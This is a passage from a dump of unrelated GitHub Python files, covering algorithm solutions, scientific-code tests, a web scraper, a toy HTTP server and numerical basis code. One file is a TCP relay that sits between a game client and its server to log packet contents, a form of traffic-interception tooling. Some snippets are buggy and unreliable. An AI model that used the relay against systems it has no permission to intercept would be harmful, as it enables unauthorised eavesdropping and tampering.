a*b*c\n print(a)\n print(b)\n print(c)\n print(product)\n\n\n","repo_name":"sh0181/euler","sub_path":"exercise_nine.py","file_name":"exercise_nine.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"9465529459","text":"# Two strings word1 and word2 are considered almost equivalent if the differences between the frequencies of each letter from 'a' to 'z' between word1 and word2 is at most 3\nfrom collections import Counter\n# Solution1\nclass Solution:\n def checkAlmostEquivalent(self, word1: str, word2: str) -> bool:\n diff_cnts = Counter(word1) \n for w in word2: \n diff_cnts[w] -= 1\n diff_freq = map(abs, diff_cnts.values())\n return all(diff <= 3 for diff in diff_freq) \n\n# Solution2\nclass Solution2:\n def checkAlmostEquivalent(self, word1: str, word2: str) -> bool: \n diff_cnts = [0] * 26\n for ch in word1:\n diff_cnts[ord(ch) - ord('a')] += 1\n for ch in word2:\n diff_cnts[ord(ch) - ord('a')] -= 1\n for i in range(26):\n if abs(diff_cnts[i]) > 3:\n return False\n return True\n\n# Solution3\nclass Solution3:\n def checkAlmostEquivalent(self, word1: str, word2: str) -> bool:\n w1, w2 = Counter(word1), Counter(word2)\n for ch in set(list(w1.keys()) + list(w2.keys())):\n if abs(w1[ch] - w2[ch]) > 3:\n return False\n return True\n\n# Solution4\n# Subtraction of two Counters: Counts of common elements are subtracted from each other and (keeps only positive counts) \nclass Solution4:\n def checkAlmostEquivalent(self, word1: str, word2: str) -> bool:\n wc1, wc2 = Counter(word1), Counter(word2)\n return all(diff <= 3 for diff in ((wc1 - wc2) + (wc2 - wc1)).values())\n ","repo_name":"espresso98/Problem-Solving-In-Go-Python","sub_path":"Python/2068. Check Whether Two Strings are Almost Equivalent.py","file_name":"2068. Check Whether Two Strings are Almost Equivalent.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"13442433533","text":"\"\"\"\n.. codeauthor:: David Zwicker \n\"\"\"\n\nimport numpy as np\nimport pytest\n\nimport pde\nfrom pde import DiffusionPDE, FileStorage, ScalarField, UnitGrid\nfrom pde.tools.misc import skipUnlessModule\n\n\n@skipUnlessModule(\"h5py\")\n@pytest.mark.parametrize(\"collection\", [True, False])\ndef test_storage_persistence(collection, tmp_path):\n \"\"\"test writing to persistent trackers\"\"\"\n dim = 5\n grid = UnitGrid([dim])\n scalar = ScalarField(grid)\n vector = pde.VectorField(grid)\n if collection:\n state = pde.FieldCollection([scalar, vector])\n else:\n state = scalar\n\n def assert_storage_content(storage, expect):\n \"\"\"helper function testing storage content\"\"\"\n if collection:\n for i in range(2):\n field_data = storage.extract_field(i).data\n np.testing.assert_array_equal(np.ravel(field_data), expect)\n else:\n np.testing.assert_array_equal(np.ravel(storage.data), expect)\n\n path = tmp_path / f\"test_storage_persistence_{collection}.hdf5\"\n\n # write some data\n for write_mode in [\"append\", \"truncate_once\", \"truncate\"]:\n with FileStorage(path, info={\"a\": 1}, write_mode=write_mode) as writer:\n # first batch\n writer.start_writing(state, info={\"b\": 2})\n scalar.data = np.arange(dim)\n vector.data[:] = np.arange(dim)\n writer.append(state, 0)\n scalar.data = np.arange(dim, 2 * dim)\n vector.data[:] = np.arange(dim, 2 * dim)\n writer.append(state)\n writer.end_writing()\n\n # read first batch\n np.testing.assert_array_equal(writer.times, np.arange(2))\n assert_storage_content(writer, np.arange(10))\n assert {\"a\": 1, \"b\": 2}.items() <= writer.info.items()\n\n # second batch\n writer.start_writing(state, info={\"c\": 3})\n scalar.data = np.arange(2 * dim, 3 * dim)\n vector.data[:] = np.arange(2 * dim, 3 * dim)\n writer.append(state, 2)\n writer.end_writing()\n\n # read the data\n with FileStorage(path) as reader:\n if write_mode == \"truncate\":\n np.testing.assert_array_equal(reader.times, np.array([2]))\n assert_storage_content(reader, np.arange(10, 15))\n assert reader.shape == (1, 2, 5) if collection else (1, 5)\n info = {\"c\": 3}\n assert info.items() <= reader.info.items()\n\n else:\n np.testing.assert_array_equal(reader.times, np.arange(3))\n assert_storage_content(reader, np.arange(15))\n assert reader.shape == (3, 2, 5) if collection else (3, 5)\n info = {\"a\": 1, \"b\": 2, \"c\": 3}\n assert info.items() <= reader.info.items()\n\n\n@skipUnlessModule(\"h5py\")\n@pytest.mark.parametrize(\"compression\", [True, False])\ndef test_simulation_persistence(compression, tmp_path, rng):\n \"\"\"test whether a tracker can accurately store information about simulation\"\"\"\n path = tmp_path / \"test_simulation_persistence.hdf5\"\n storage = FileStorage(path, compression=compression)\n\n # write some simulation data\n pde = DiffusionPDE()\n grid = UnitGrid([16, 16]) # generate grid\n state = ScalarField.random_uniform(grid, 0.2, 0.3, rng=rng)\n pde.solve(state, t_range=0.11, dt=0.001, tracker=storage.tracker(interval=0.05))\n storage.close()\n\n # read the data\n storage = FileStorage(path)\n np.testing.assert_almost_equal(storage.times, [0, 0.05, 0.1])\n data = np.array(storage.data)\n assert data.shape == (3,) + state.data.shape\n grid_res = storage.grid\n assert grid == grid_res\n grid_res = storage.grid\n assert grid == grid_res\n\n\n@skipUnlessModule(\"h5py\")\n@pytest.mark.parametrize(\"compression\", [True, False])\ndef test_storage_fixed_size(compression, tmp_path):\n \"\"\"test setting fixed size of FileStorage objects\"\"\"\n c = ScalarField(UnitGrid([2]), data=1)\n\n for fixed in [True, False]:\n path = tmp_path / f\"test_storage_fixed_size_{fixed}.hdf5\"\n storage = FileStorage(\n path, max_length=1 if fixed else None, compression=compression\n )\n assert len(storage) == 0\n\n storage.start_writing(c)\n assert len(storage) == 0\n storage.append(c, 0)\n assert len(storage) == 1\n\n if fixed:\n with pytest.raises((TypeError, ValueError, RuntimeError)):\n storage.append(c, 1)\n assert len(storage) == 1\n np.testing.assert_allclose(storage.times, [0])\n else:\n storage.append(c, 1)\n assert len(storage) == 2\n np.testing.assert_allclose(storage.times, [0, 1])\n\n\n@skipUnlessModule(\"h5py\")\ndef test_appending(tmp_path):\n \"\"\"test the appending data\"\"\"\n path = tmp_path / \"test_appending.hdf5\"\n\n c = ScalarField(UnitGrid([2]), data=1)\n storage = FileStorage(path)\n storage.start_writing(c)\n assert len(storage) == 0\n storage.append(c, 0)\n assert storage._file_state == \"writing\"\n assert len(storage) == 1\n storage.close()\n\n storage2 = FileStorage(path, write_mode=\"append\")\n storage2.start_writing(c)\n storage2.append(c, 1)\n storage2.close()\n\n assert len(storage2) == 2\n\n\n@skipUnlessModule(\"h5py\")\ndef test_keep_opened(tmp_path):\n \"\"\"test the keep opened option\"\"\"\n path = tmp_path / \"test_keep_opened.hdf5\"\n\n c = ScalarField(UnitGrid([2]), data=1)\n storage = FileStorage(path, keep_opened=False)\n storage.start_writing(c)\n assert len(storage) == 0\n storage.append(c, 0)\n assert storage._file_state == \"closed\"\n assert len(storage) == 1\n assert storage._file_state == \"reading\"\n storage.append(c, 1)\n assert len(storage) == 2\n\n storage2 = FileStorage(path, write_mode=\"append\")\n assert storage.times == storage2.times\n assert storage.data == storage2.data\n storage.close() # close the old storage to enable writing here\n storage2.start_writing(c)\n storage2.append(c, 2)\n storage2.close()\n\n assert len(storage2) == 3\n np.testing.assert_allclose(storage2.times, np.arange(3))\n\n\n@skipUnlessModule(\"h5py\")\n@pytest.mark.parametrize(\"dtype\", [bool, float, complex])\ndef test_write_types(dtype, tmp_path, rng):\n \"\"\"test whether complex data can be written\"\"\"\n path = tmp_path / \"test_type_writing.hdf5\"\n\n grid = UnitGrid([32])\n c = ScalarField.random_uniform(grid, rng=rng).copy(dtype=dtype)\n if dtype == complex:\n c += 1j * ScalarField.random_uniform(grid, rng=rng)\n\n storage = FileStorage(path, keep_opened=False)\n storage.start_writing(c)\n assert len(storage) == 0\n storage.append(c, 0)\n assert storage._file_state == \"closed\"\n assert len(storage) == 1\n assert storage._file_state == \"reading\"\n storage.append(c, 1)\n assert len(storage) == 2\n assert storage.dtype == np.dtype(dtype)\n\n storage2 = FileStorage(path, write_mode=\"append\")\n assert storage.times == storage2.times\n assert storage.data == storage2.data\n storage.close() # close the old storage to enable writing here\n storage2.start_writing(c)\n storage2.append(c, 2)\n storage2.close()\n\n assert len(storage2) == 3\n np.testing.assert_allclose(storage2.times, np.arange(3))\n assert storage2.dtype == np.dtype(dtype)\n\n storage3 = FileStorage(path, write_mode=\"reading\")\n assert len(storage3) == 3\n for field in storage3:\n np.testing.assert_allclose(field.data, c.data)\n assert storage3.dtype == np.dtype(dtype)\n","repo_name":"zwicker-group/py-pde","sub_path":"tests/storage/test_file_storages.py","file_name":"test_file_storages.py","file_ext":"py","file_size_in_byte":7560,"program_lang":"python","lang":"en","doc_type":"code","stars":338,"dataset":"github-code","pt":"23"} +{"seq_id":"24871135168","text":"#from elastic.connect_Elastic import connect_elastic_server\nimport json\nfrom fastapi import FastAPI\nfrom elastic.request_elasticsearch import router\nfrom request_NYT.articles_functions import get_article\nfrom elastic.connect_Elastic import connect_elastic_server, push_database\n\n\nwith open(\"ressources/mapping.json\") as json_data_file:\n mapping = json.load(json_data_file)\n\nes = connect_elastic_server()\napp = FastAPI(title=\"NYT API\",tags=[\n {\n 'name':'home',\n 'description':'default functions'\n },\n {\n 'name':'data',\n 'description':'fonctions permettant de requêter la base de donnée elasticSearch'\n }\n])\napp.include_router(router)\n\n#def request_NYT(years,mounth,index_name):\n\n #data = get_article(years,mounth,index_name)\n #push_database(es,data,\"article\",mapping)\n #try :\n #create_database(es, \"data_brutes/data_articles/nyt.csv\",\"article\", mapping)\n #except :\n #print(\"Il existe déjà une base de donnée\")\n\n # stop after 1 or 2 \"response ok\"\n # si l'algo se stop, une boucle de create_tab_books s'est arreté, verifier alors si une table est apparu dans les bdd\n # si oui alors exceuter juste create_tab_article()\n\n@app.get(\"/\")\nasync def root():\n return {\"message\":\"Bienvenue sur l'API NY-Time-News\"}\n\n\n\n","repo_name":"NYTIMESproject/Projet-NY-News","sub_path":"src/api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"7031767932","text":"import sys\nimport os\n#导入需要用到的模块\nimport pandas as pd\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\nparser = argparse.ArgumentParser(description='pass args')\nparser.add_argument('--datafile', type=str, help='input data path')\nargs = parser.parse_args()\ndata = pd.read_excel(args.datafile)\nprint(data)\nwidth = 9 # the width of the bars\nfig = plt.figure()\nax1 = fig.add_subplot(1,2,1)\nbins=3\n# InceptionV4\nx_i = [32,64,128] # the label locations\ny = [data[32][0],data[64][0],data[128][0]]\nax1.bar(x_i , y, width/bins, label='InceptionV4_Origin')\nx_=[xi+width/bins for xi in x_i]\ny_ = [data[32][1],data[64][1],data[128][1]]\nax1.bar(x_, y_, width/bins, label='InceptionV4_Opt')\ny1 = [data[32][2],data[64][2],data[128][2]]\nax1.plot(x_i,y1,label='reduction')\nax1.legend()\n# Resnet\nax2 = fig.add_subplot(1,2,2)\nx_i = [32,64,128] # the label locations\ny = [data[32][4],data[64][4],data[128][4]]\nax2.bar(x_i , y, width/bins, label='InceptionV4_Origin')\nx_=[xi+width/bins for xi in x_i]\ny_ = [data[32][5],data[64][5],data[128][5]]\nax2.bar(x_, y_, width/bins, label='InceptionV4_Opt')\ny1 = [data[32][6],data[64][6],data[128][6]]\nax2.plot(x_i,y1,label='reduction')\nax2.legend()\nplt.savefig(\"figure6.10.png\")\n","repo_name":"YyongXin/artifact_eval_graduate_project","sub_path":"figure6.11/figure_ploter.py","file_name":"figure_ploter.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"16831214832","text":"import warnings\nfrom abc import ABC\n\nfrom bot.consts.const import GAMETOKENS_TO_USDT\n\n\nclass InsufficientFunds(Exception):\n pass\n\n\nclass Token(ABC):\n @property\n def token_id(self) -> str:\n warnings.warn(\"Deprecated property token_id use id instead\", category=DeprecationWarning, stacklevel=2)\n return self.id\n\n @property\n def id(self) -> str:\n raise NotImplemented\n\n @property\n def icon(self) -> str:\n raise NotImplemented\n\n async def get_price(self) -> float:\n raise NotImplemented\n\n async def from_gametokens(self, amount: float) -> float:\n return amount / await self.get_price() / GAMETOKENS_TO_USDT\n\n async def to_gametokens(self, amount: float) -> float:\n return amount * await self.get_price() * GAMETOKENS_TO_USDT\n\n async def can_transfer(self, withdraw_amount) -> bool:\n return False\n\n async def transfer(self, withdraw_address, withdraw_amount, msg):\n raise NotImplemented\n\n async def from_gametokens_with_fees(self, gametokens_amount):\n raise NotImplemented\n\n async def token_min_dep(self):\n raise NotImplemented\n\n","repo_name":"krolik1591/CasinoSanek","sub_path":"bot/tokens/base_token.py","file_name":"base_token.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"200967623","text":"import socket\nfrom threading import Thread\n\n\n# def parse(data, port, origin):\n # print(f\"[{origin} ({port})] {data.encode('hex')}\")\n\n\n\nclass Proxy2Server(Thread):\n def __init__(self, host, port):\n self.game = None # game clinet socket not known yet\n super().__init__()\n self.port = port\n self.host = host\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server.connect((host, port))\n \n def run(self):\n while True:\n data = self.server.recv(4096)\n if data:\n # try:\n # reload(parse)\n # parse(data, self.port, 'server')\n # except Exception as e:\n # print(f\"server[{self.port}]\", e)\n # parse(data, self.port, 'server')\n print(f\"[{self.port} -> {data[:100].encode('hex')}]\")\n # forward to client\n self.game.sendall(data)\n\nclass Game2Proxy(Thread):\n def __init__(self, host, port):\n super().__init__()\n self.server = None # read server socket not known yet\n self.port = port\n self.host = host\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind((host, port))\n sock.listen(1)\n # waiting for a connection\n self.game, addr = sock.accept()\n \n def run(self):\n while True:\n data = self.game.recv(4096)\n if data:\n # try:\n # # reload(parse)\n # parse(data, self.port, 'client')\n # except Exception as e:\n # print(f\"server[{self.port}]\", e)\n # parse(data, self.port, 'client')\n print(f\"[{self.port} < - {data[:100].encode('hex')}]\")\n # forward to server\n self.server.sendall(data)\n\nclass Proxy(Thread):\n def __init__(self, from_host, to_host, port):\n super().__init__()\n self.from_host = from_host\n self.to_host = to_host\n self.port = port\n \n def run(self):\n while True:\n print(f\"[proxy({self.port})] setting up\")\n self.g2p = Game2Proxy(self.from_host, self.port)\n self.p2s = Proxy2Server(self.to_host, self.port)\n print(f\"[proxy({self.port})] connection established\")\n self.g2p.server = self.p2s.server\n self.p2s.game = self.g2p.game\n \n self.g2p.start()\n self.p2s.start()\n\n\nmaster_server = Proxy('0.0.0.0', '192.168.0.250', 8009) # real server ip 192.168...\nmaster_server.start()\n\n# for port in range(3000, 3006):\n# _game_server = Proxy('0.0.0.0', '192.168.0.250', port )\n# _game_server.start()\n\n_game_server = Proxy('0.0.0.0', '192.168.0.250', 10001 )\n_game_server.start()\n\n\n# while True:\n# try:\n# cmd = raw_input(\"$\")\n# if cmd[:4] == 'quit':\n# os._exit()\n# except Exception as e:\n# print(e)\n\n# if __name__ == \"__main__\":\n# print()","repo_name":"forhchan/tcp","sub_path":"proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"29736885089","text":"from typing import List, Any\n\nimport requests\n\nfrom bs4 import BeautifulSoup\n\nimport csv\n\nimport time\n\nimport re\n\nbegin = time.time()\n\nurl_list = []\n\nall_elements = []\n\n\ndef read_oxi():\n filename = open('outputv15.csv', 'r')\n\n file = csv.DictReader(filename, delimiter=',')\n\n for col in file:\n url_list.append(col['Product_url'])\n\n\nread_oxi()\n\n\ndef get_seller_rating(soup):\n try:\n seller_string = soup.find('div', attrs={'class': '_3LWZlK _1D-8OL'}).text.strip()\n\n def convert(string):\n list1 = []\n list1[:0] = string\n return list1\n\n my_list = convert(seller_string)\n\n print(my_list)\n\n if '.' in my_list:\n\n seller_rating = my_list[-3] + '.' + my_list[-1]\n\n print(f\"the seller_rating is a float {seller_rating}\")\n\n else:\n\n seller_rating = my_list[-1]\n print(f\" the seller_rating is integer {seller_rating}\")\n\n\n except AttributeError:\n number = 0\n print(f\"the rating is {number}\")\n\n\ndef parse_data():\n for url in url_list:\n\n print(url)\n\n new_page = requests.get(url)\n\n if new_page.status_code == 200:\n\n count = count + 1\n\n print(f\"The count od the list is {count}\")\n\n new_soup = BeautifulSoup(new_page.text, 'lxml')\n\n seller_rating_data = get_seller_rating(new_soup)\n\n all_elements.append( # saving all elements to a list\n {\n \"Product_url\": url,\n \"Seller_rating_Data\": seller_rating_data\n\n })\n\n keys = all_elements[0].keys()\n\n with open('seller2.csv', 'w', newline='') as output_file: # writing all elements to csv\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(all_elements)\n\n\n\n else:\n pass\n\n\nparse_data()\n\nprint(len(all_elements))\n\nend = time.time()\nprint(f\"Total runtime of the program is {end - begin}\")\n","repo_name":"tony2020edx/washing_machines","sub_path":"seller.py","file_name":"seller.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"11303713886","text":"import socket\nfrom abc import ABC\nfrom typing import Optional, Callable\n\nfrom HTTPResponse.HTTPResponseBuilder import HTTPResponseBuilder\nfrom HTTPResponse.Director import Director\nfrom HTTPWebServer.WebServer import WebServer\nfrom HTTPRouter.HTTPRouter import HTTPRouter\n\n\nclass HTTPWebServer(WebServer):\n MAX_PACKET = 32768\n SOCKET_TIMEOUT = 0.01\n MAX_CONNECTIONS = 1000\n\n DEFAULT_HOST: str = '127.0.0.1'\n DEFAULT_PORT: int = 13500\n\n def __init__(self, host: Optional[str] = DEFAULT_HOST, port: Optional[int] = DEFAULT_PORT):\n self.router = None\n self.host: str = host\n self.port: int = port\n self.router: HTTPRouter = HTTPRouter()\n self.run()\n\n # Getting all data from reading socket\n def _receive_all(self, socket: socket.socket):\n previous_timeout = socket.gettimeout()\n try:\n socket.settimeout(self.SOCKET_TIMEOUT)\n data = []\n while True:\n try:\n data.append(socket.recv(self.MAX_PACKET))\n except BaseException:\n return ''.join(str(data))\n finally:\n socket.settimeout(previous_timeout)\n\n def _normalize_request(self, request: str):\n values = [\"[b'\", \"']\"]\n data = []\n for x in request.strip().split(\"\\\\r\\\\n\"):\n for value in values:\n x = x.replace(value, '')\n if len(x) != 0:\n data.append(x)\n return data\n\n def execute_routing(self, request: str):\n method, route, protocol = request[0].split()\n # check if requested url route exists\n print(method, route, protocol)\n\n def get(self, route_path: str) -> Callable:\n print(1)\n\n def decorator(function):\n async def wrapper(*args, **kwargs):\n self.router.add_route(route_path)\n await function(*args, **kwargs)\n print(self.router.routes)\n\n return wrapper\n\n return decorator\n\n def run(self):\n server_socket = socket.socket(\n socket.AF_INET,\n socket.SOCK_STREAM,\n socket.IPPROTO_TCP\n )\n\n server_socket.bind((self.host, self.port))\n server_socket.listen(self.MAX_CONNECTIONS)\n\n print(\"SERVER ESTABLISHED\")\n\n while True:\n client_socket, client_address = server_socket.accept()\n\n request = self._normalize_request(self._receive_all(client_socket))\n\n self.execute_routing(request)\n\n director = Director()\n builder = HTTPResponseBuilder()\n director.builder = builder\n director.build()\n\n client_socket.send(builder.response.get_response())\n client_socket.close()\n","repo_name":"abcen7/http-web-server","sub_path":"HTTPWebServer/HTTPWebServer.py","file_name":"HTTPWebServer.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"23"} +{"seq_id":"14508192612","text":"import numpy as np\nimport pandas as pd\nimport sys\n#import binning as bin_func\nimport bin_profile as prof\nimport new_stack as new_stacks\n\ndef stack_pix_by_x(struct, lines, xtype, x_vec ,xmin, xmax ,galaxy, binsize = None ,mask = None, median = \"mean\", out_struc_in = None):\n\n\n # -------------------------------------------------------------------------\n #DEFINE THE FLAG DEPENDING ON THE STACKING METHOD\n # -------------------------------------------------------------------------\n flag = xtype\n\n #HERE I HAVE TO ADD THE OTHER CASES DIFFERENT FROM RADIAL BINNING!\n\n #INITIALIZE OUTPUT\n if out_struc_in is None:\n out_struc = new_stacks.new_stacking(lines)\n else:\n out_struc = out_struc_in\n #MEASURE THE SIZES OF THIS THING\n n_vec = len(x_vec)\n\n #INITIALIZE THE MASK\n if mask is None:\n mask = np.array(~np.isnan(x_vec), dtype = int)\n\n # -------------------------------------------------------------------------\n # CONSTRUCT THE BINS\n # -------------------------------------------------------------------------\n\n # WORK OUT THE MAXIMUM FOR THE BINS\n\n #First construct the logarithmic bins for xtype = sfr\n \n if xtype in ['sfr',\"12co10\",\"12co21\",\"PACS\",\"sigtir\",\"TIR_co21\",\"TIR_co10\"]:\n\n deltax = (xmax - xmin)\n \n if binsize is None:\n # ... DEFAULT TO 10 BINS\n print(\"[WARNING]\\t No binsize specified. Making 10 bins.\")\n binsize = deltax / 10.\n\n # MAKE THE BINS\n nbins = abs(np.ceil(deltax / binsize))\n xmin_bin = 10**(np.arange(nbins)*binsize)*10**xmin\n xmax_bin = xmin_bin*10**binsize #< 10**xmax_in\n xmid_bin = xmin_bin*10**(binsize*0.5)\n \n \n else:\n #WORK OUT THE MINIMUM FOR THE BINS\n\n deltax = (xmax - xmin)\n if binsize is None:\n # ... DEFAULT TO 10 BINS\n print(\"[WARNING]\\t No binsize specified. Making 10 bins.\")\n binsize = deltax / 10.\n\n #; MAKE THE BINS\n nbins = abs(np.ceil(deltax / binsize))\n xmin_bin = np.arange(nbins)*binsize+xmin\n xmax_bin = xmin_bin+binsize #< xmax\n xmid_bin = (xmin_bin+xmax_bin)*0.5\n\n # -------------------------------------------------------------------------\n # Loop Over List of Tag Names\n # ------------------------------------------------------------------------\n stack_tags = pd.read_csv(\"new_stack_rad_tags.txt\", sep = \"\\t\\t\",comment = \";\",engine='python')\n\n ntag = len(stack_tags[\"tag_in\"])\n try:\n data_tags = struct.dtype.names\n except:\n data_tags = struct.keys()\n out_tags = list(out_struc.keys())\n\n maskind = np.where(mask)\n \n \n # Loop over tag names\n for i in range(ntag):\n \n if not stack_tags[\"tag_in\"][i] in list(data_tags):\n continue\n else:\n bins_output = prof.bin_prof(x_vec[maskind], struct[stack_tags[\"tag_in\"][i]][maskind],\\\n xmin_in = xmin, xmax_in = xmax, binsize_in = binsize, oversamp = 1. )\n \n if median == \"median\":\n out_struc[stack_tags[\"tag_in\"][i]] = bins_output[\"medprof\"]\n else:\n out_struc[stack_tags[\"tag_in\"][i]] = bins_output[\"meanprof\"]\n out_struc['xtype'] = xtype\n out_struc['xmin'] = xmin_bin\n out_struc['xmax'] = xmax_bin\n out_struc['xmid'] = xmid_bin\n return out_struc\n","repo_name":"jdenbrok/AG_Bigiel","sub_path":"Stacking/stacking_func.py","file_name":"stacking_func.py","file_ext":"py","file_size_in_byte":3404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"20490919396","text":"__author__ = 'effy'\n#-*- coding: utf-8 -*-\n'''\nThere are two sorted arrays nums1 and nums2 of size m and n respectively. Find the median of the two sorted arrays.\nThe overall run time complexity should be O(log (m+n)).\n'''\n'''\nMethod 2 (By comparing the medians of two arrays)\nThis method works by first getting medians of the two sorted arrays and then comparing them.\n\nLet ar1 and ar2 be the input arrays.\n\nAlgorithm (if ar1 and ar2 are of same length):\n\n1) Calculate the medians m1 and m2 of the input arrays ar1[]\n and ar2[] respectively.\n2) If m1 and m2 both are equal then we are done.\n return m1 (or m2)\n3) If m1 is greater than m2, then median is present in one\n of the below two subarrays.\n a) From first element of ar1 to m1 (ar1[0...|_n/2_|])\n b) From m2 to last element of ar2 (ar2[|_n/2_|...n-1])\n4) If m2 is greater than m1, then median is present in one\n of the below two subarrays.\n a) From m1 to last element of ar1 (ar1[|_n/2_|...n-1])\n b) From first element of ar2 to m2 (ar2[0...|_n/2_|])\n5) Repeat the above process until size of both the subarrays\n becomes 2.\n6) If size of the two arrays is 2 then use below formula to get\n the median.\n Median = (max(ar1[0], ar2[0]) + min(ar1[1], ar2[1]))/2\n\n\n首先我们来看如何找到两个数列的第k小个数,即程序中getKth(A, B , k)函数的实现。\n用一个例子来说明这个问题:A = {1,3,5,7};B = {2,4,6,8,9,10};\n如果要求第7个小的数,A数列的元素个数为4,B数列的元素个数为6;k/2 = 7/2 = 3,而A中的第3个数A[2]=5;\nB中的第4个数B[3]=8;而A[2] lenB:\n return self.findKthSmallest(B, A, k)\n if lenA == 0:\n return B[k - 1]\n if k == 1:\n return min(A[0], B[0])\n pa = min(k/2, lenA)\n pb = k - pa\n if A[pa - 1] <= B[pb - 1]:\n return self.findKthSmallest(A[pa:], B, pb)\n else:\n return self.findKthSmallest(A, B[pb:], pa)\n def findMedianSortedArrays(self, A, B):\n lenA = len(A)\n lenB = len(B)\n if (lenA + lenB) % 2 == 1:\n return self.findKthSmallest(A, B, (lenA + lenB)/2 + 1)\n else:\n return (self.findKthSmallest(A, B, (lenA + lenB)/2) + self.findKthSmallest(A, B, (lenA + lenB)/2 + 1)) * 0.5\n\n\nclass Solution_secondRound:\n # @param {integer[]} nums1\n # @param {integer[]} nums2\n # @return {float}\n def findMedianSortedArrays(self, A, B):\n la, lb = len(A), len(B)\n mid = (la+lb)//2\n if (la+lb)%2:\n isEven = False\n else:\n isEven = True\n merged = []\n if la == 0:\n merged = B[:]\n elif lb == 0:\n merged = A[:]\n else:\n ia, ib =0 ,0\n while ia < la and ib= self.Lmax:\n raise ValueError('ell index out of range')\n N = self.Nsizes[ell]\n if k >= N:\n raise ValueError('k index out of range')\n\n if not self._constructed:\n self._construct_basis()\n return self.etabasis[:,ell][:,np.newaxis] * self.sbasis[ell][k,:]\n\n\n\ndef Nsizes(Lmax, Nmax, truncate=default_truncate, functor=False):\n \"\"\"\n Returns the number of radials coefficients for each vertical degree\n\n Parameters\n ----------\n Lmax : int\n Maximum vertical degree\n Nmax : int\n Maximum radial degree\n truncate : bool, optional\n Flag to specify triangular truncation\n functor : bool, optional\n If True, returns a function object that takes the vertical degree\n ell and returns the number of radial coefficients for that degree.\n If False, returns a list of radial sizes, one per vertical degree.\n\n Returns\n -------\n radial_sizes : list or function\n If functor is False, a list of radial coefficient sizes for each ell.\n If functor is True, a function object that returns the radial coefficient\n size for an input vertical degree ell.\n \"\"\"\n if truncate:\n _check_radial_degree(Lmax, Nmax)\n sizes = [Nmax - (ell//2 if truncate else 0) for ell in range(Lmax)]\n return (lambda ell: sizes[ell]) if functor else sizes\n\n\ndef num_coeffs(Lmax, Nmax, truncate=default_truncate):\n \"\"\"\n Return the total number of coefficients for a field\n\n Parameters\n ----------\n Lmax : int\n Maximum vertical degree\n Nmax : int\n Maximum radial degree\n truncate : bool, optional\n Flag to specify triangular truncation\n\n Returns\n -------\n num_coeffs : int\n Total number of coefficients for specified triangular truncation\n \"\"\"\n return sum(Nsizes(Lmax, Nmax, truncate=truncate))\n\n\ndef coeff_sizes(Lmax, Nmax, truncate=default_truncate):\n \"\"\"\n Return the number of radial coefficients for each vertical degree,\n and the offsets for indexing into a coefficient vector for the first\n radial mode of each vertical degree\n\n Parameters\n ----------\n Lmax : int\n Maximum vertical degree\n Nmax : int\n Maximum radial degree\n truncate : bool, optional\n Flag to specify triangular truncation\n\n Returns\n -------\n lengths : np.ndarray\n Array of size Lmax with the number of radial coefficients for each ell\n offsets : np.ndarray\n Array of offsets to the radial coefficients for each vertical degree ell\n \"\"\"\n lengths = Nsizes(Lmax, Nmax, truncate=truncate)\n offsets = np.append(0, np.cumsum(lengths)[:-1])\n return lengths, offsets\n\n\ndef norm_ratio(dalpha, normalize=default_normalize):\n \"\"\"\n Ratio of basis normalization scale factor for a change in alpha\n\n Parameters\n ----------\n dalpha : float\n Change in alpha from the input parameter to the output parameter\n for a given operator\n normalize : bool, optional\n Flag for s-to-t normalization\n\n Returns\n -------\n ratio : float\n Normalization ratio\n \"\"\"\n return 2**(-dalpha/2) if normalize else 1\n\n\ndef _check_radial_degree(Lmax, Nmax):\n \"\"\"Check the radial degree is large enough for triangular truncation\"\"\"\n if Nmax < Lmax//2:\n raise ValueError('Radial degree too small for triangular truncation')\n\n\ndef _hstack(*args, **kwargs):\n \"\"\"Wrapper around sparse.hstack to return results in a csr_matrix\"\"\"\n return sparse.hstack(*args, **kwargs, format='csr')\n\n\ndef _make_operator(dell, zop, sop, m, Lmax, Nmax, alpha, sigma, Lpad=0, Npad=0, truncate=default_truncate):\n \"\"\"\n Kronecker the operator in the eta and s directions\n\n Parameters\n ----------\n dell : integer\n Change in ell from input to output\n zop : np.ndarray\n Coefficients for the operator in the eta coordinate\n sop : dedalus_sphere.jacobi.JacobiOperator\n Operator object for generating the coefficients of the radial\n part of spherinder operator. Takes parameters (n,a,b) corresponding\n to radial degree n and Jacobi polynomial parameters a,b\n m : integer\n Azimuthal wave number\n Lmax : integer\n Maximum vertical degree\n Nmax : integer\n Maximum radial degree\n alpha : float\n Basis function hierarchy parameter, must be larger than -1\n sigma : float, {-1,0,+1}\n Basis function spin weight\n Lpad : integer, optional\n Change in maximum vertical degree from input to output\n Npad : integer, optional\n Change in maximum radial degree from input to output\n truncate : bool, optional\n Flag to specify triangular truncation\n\n Returns\n -------\n operator : sparse.csr_matrix\n Sparse matrix representation of the operator\n \"\"\"\n Nin_sizes = Nsizes(Lmax, Nmax, truncate=truncate)\n Nout_sizes = 